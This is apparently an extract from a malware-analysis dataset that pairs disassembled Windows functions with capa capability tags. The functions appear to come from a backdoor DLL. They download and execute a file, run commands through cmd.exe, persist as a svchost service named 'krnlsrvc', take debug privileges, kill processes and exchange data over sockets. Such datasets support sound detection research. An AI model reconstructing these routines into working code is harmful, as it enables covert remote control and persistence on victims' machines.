joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4097f8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4098cb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4098e4
push ebx
push 0x4098f0
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409878
mov al, 0x62
call fcn.004093d0
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004097cc
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409881
call fcn.004097cc
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4098d2
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409984
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409a38
jmp 0x409a2d
cmp dword [esi + 0x10], 0x1000
jne 0x409a19
test byte [esi + 0x15], 1
jne 0x409a19
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x4099d8
cmp eax, 2
je 0x4099d8
cmp eax, 0x10
je 0x4099d8
cmp eax, 0x20
jne 0x4099ed
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4099ed
mov bl, 1
xor ebp, ebp
jmp 0x4099fe
mov eax, dword [esi]
add eax, ebp
call fcn.0040997c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x4099f1
test bl, bl
je 0x409a19
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409a38
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4099b0
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x10001000
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x10001019
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push 0xffff
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10001046
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x100010b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x100010ef
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x100010e8
cmp eax, 0xffffffff
je 0x100010e8
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x100010ef
jmp 0x100010c4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x10001100
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x1000113f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10001138
cmp eax, 0xffffffff
je 0x10001138
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x1000113f
jmp 0x10001114
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x100018f0
Capabilities:
Delete file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, eax
mov eax, dword [esp + 0xdc]
neg ecx
sbb ecx, ecx
pop edi
inc ecx
mov dword [eax + 4], 0
mov dword [eax], ecx
pop esi
add esp, 0xcc
ret

Function at 0x10001940
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x320
mov ecx, 0x33
push esi
mov esi, dword [esp + 0x328]
push edi
lea edi, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x5c]
test eax, eax
jge 0x1000199b
push 0
push 0
lea eax, [esp + 0x68]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
mov eax, dword [esp + 0x330]
pop edi
setl cl
mov dword [eax], ecx
mov dword [eax + 4], 0
pop esi
add esp, 0x320
ret
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x60]
stosb byte es:[edi], al
push edx
lea eax, [esp + 0x12c]
push str.cmd.exe__c___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x24]
add esp, 0xc
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
push edx
push 0x1000f0e8
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x148]
mov dword [esp + 0x38], 0x44
push eax
push 0
mov dword [esp + 0x48], str.WinSta0Default
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001a56
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
mov eax, dword [esp + 0x330]
pop edi
pop esi
mov dword [eax], 0
mov dword [eax + 4], 0
add esp, 0x320
ret
mov eax, dword [esp + 0x330]
pop edi
pop esi
mov dword [eax], 1
mov dword [eax + 4], 0
add esp, 0x320
ret

Function at 0x10001a80
Capabilities:
Copy file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret

Function at 0x10001ad0
Capabilities:
Move file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret
Function at 0x10001b20
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x10001b4c
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x10001b40
pop esi
ret

Function at 0x10001cd0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.urlmon.dll
call esi
push str.wininet.dll
mov ebx, eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.URLDownloadToCacheFileA
push ebx
mov ebp, eax
call esi
push str.GetUrlCacheEntryInfoA
push ebp
mov dword [esp + 0x18], eax
call esi
mov edi, dword [esp + 0x11c]
push 0
push 0
push 0xa
push str.c:1.exe
push edi
push 0
mov esi, eax
call dword [esp + 0x28]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push 0
push edi
call esi
test eax, eax
jne 0x10001d9b
mov ecx, dword [esp + 0x14]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x14]
mov dword [esp + 0x10], eax
push edx
push eax
push edi
call esi
test eax, eax
je 0x10001d9b
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x10]
or ecx, 0xffffffff
mov edx, dword [eax + 8]
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x1c]
push edx
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
lea edx, [esp + 0x18]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10001e00
Capabilities:
Modify service
Query service status
Start service

Disassembly:
sub esp, 0x1c
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x10001ed4
mov eax, dword [esp + 0x2c]
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x10001ec1
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x10001e89
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10001e89
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call edi
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x1c
ret
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0xc]
push ebx
push ecx
push esi
call edi
test eax, eax
je 0x10001eb9
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], 2
jne 0x10001eb9
push 0x64
call ebx
lea edx, [esp + 0x10]
push edx
push esi
call edi
test eax, eax
jne 0x10001ea2
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x1c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret

Function at 0x10001ee0
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 4], ebx
je 0x10001f9e
mov eax, dword [esp + 0x28]
push esi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x10001f8c
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0x10]
push ecx
push esi
call edi
test eax, eax
je 0x10001f84
cmp dword [esp + 0x14], 1
je 0x10001f84
lea edx, [esp + 0x10]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10001f84
cmp dword [esp + 0x14], 3
jne 0x10001f84
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call ebx
lea eax, [esp + 0x10]
push eax
push esi
call edi
cmp dword [esp + 0x14], 3
je 0x10001f6d
mov ebx, dword [esp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, 1
pop ebx
add esp, 0x20
ret
xor eax, eax
pop ebx
add esp, 0x20
ret
Function at 0x10001fb0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000a610
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
push ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
call fcn.10001ee0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x128]
push ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x128]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x128]
push ecx
push 0xf003f
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, esi
je 0x10002042
lea eax, [ebp - 0x20]
push 0x1000de60
push eax
mov dword [ebp - 0x20], 0x1000f980
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push esi
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x1000209e
lea edx, [ebp - 0x18]
push 0x1000de60
push edx
mov dword [ebp - 0x18], str.RegSetValueEx_ServiceDll_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10002098
cmp byte [eax], 0
je 0x10002098
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x100020ab
ret
push ebx
call fcn.10001e00
add esp, 4
mov esi, eax
jmp 0x100020ae
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100020d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000a620
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x10], esp
push str._SystemRoot_System32_svchost.exe__k_krnlsrvc
push eax
xor esi, esi
push ecx
push ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
call fcn.100022c0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x130]
push ebx
lea edx, [ebp - 0x130]
push str.SYSTEMCurrentControlSetServices_sParameters
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x130]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, esi
je 0x1000216f
lea edx, [ebp - 0x24]
push 0x1000de60
push edx
mov dword [ebp - 0x24], 0x1000f980
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp + 0x14]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [ebp - 0x14]
not ecx
push ecx
push edx
push 2
push esi
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x100021b3
lea ecx, [ebp - 0x1c]
push 0x1000de60
push ecx
mov dword [ebp - 0x1c], str.RegSetValueEx_ServiceDll_
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x130]
lea edx, [ebp - 0x130]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x130]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10002228
lea eax, [ebp - 0x28]
push 0x1000de60
push eax
mov dword [ebp - 0x28], str.RegOpenKeyEx_Svchost_
call sub.MSVCRT.dll__CxxThrowException
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push ebx
push 7
push eax
push str.krnlsrvc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10002269
lea edx, [ebp - 0x20]
push 0x1000de60
push edx
mov dword [ebp - 0x20], str.RegSetValueEx_Svchostkrnlsrvc_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.10001e00
add esp, 4
mov esi, eax
jmp 0x1000229b
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100022c0
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000b260
push 0x1000672e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
je 0x100023cb
push esi
push esi
push esi
push esi
push esi
mov eax, dword [ebp + 0x14]
push eax
push esi
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
jne 0x1000236a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x1000236a
push 0xf01ff
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
je 0x100023cb
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
push str.SYSTEMCurrentControlSetServices_s
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x12c]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x100023cb
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.100023f1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002470
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x414
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push str.SeDebugPrivilege
push edi
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 0x10]
push edi
push edi
lea edx, [esp + 0x1c]
push 0x10
push edx
push edi
push eax
mov dword [esp + 0x38], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
mov dword [esp + 0xc], esi
jne 0x100024ef
mov eax, dword [esp + 0x424]
mov dword [eax + 4], edi
pop edi
mov dword [eax], 0x25000004
pop esi
add esp, 0x414
ret
lea ecx, [esp + 0xd0]
mov dword [esp + 0xd0], 0x128
push ecx
push esi
mov dword [esp + 0x200], 0x224
mov dword [esp + 0x10], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10002601
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strncpy]
push ebp
mov ebp, dword [esp + 0x428]
mov edx, dword [esp + 0xe0]
push edx
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x200]
push eax
push esi
call sub.KERNEL32.dll_Module32First
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xe0]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
mov ecx, 0x2b
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xec]
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x34], eax
lea edx, [esp + 0xfc]
push 0x20
lea eax, [esp + 0x3c]
push edx
push eax
call ebx
lea ecx, [esp + 0x32c]
push 0x80
lea edx, [esp + 0x68]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x28]
mov ecx, 0x2b
lea esi, [esp + 0x44]
mov edi, ebp
add eax, 0xac
add esp, 0x18
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
lea eax, [esp + 0xd8]
add ebp, 0xac
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000252e
mov esi, dword [esp + 0x14]
pop ebp
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x424]
mov edx, dword [esp + 8]
pop edi
pop esi
mov dword [eax], 0
mov dword [eax + 4], edx
add esp, 0x414
ret

Function at 0x10002630
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10002659
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10002672
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
ret
Function at 0x10002710
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x10002734
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1000272d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x10004390
Capabilities:
Create thread

Disassembly:
sub esp, 0x100
lea ecx, [esp]
push esi
mov esi, dword [esp + 0x10c]
push 0x100
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi]
push 0x100
lea eax, [esp + 0x14]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea ecx, [esp + 4]
push 0x10004450
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
test eax, eax
mov dword [0x1000f98c], eax
je 0x1000443f
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.100044f0
push 0
push 0
push 4
call fcn.100044f0
add esp, 0x18
push 0
push 0
push 0
push 0x10002920
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
mov eax, dword [0x1000f988]
cmp eax, 3
je 0x1000443f
cmp eax, 1
jne 0x1000442c
pop esi
add esp, 0x100
ret 8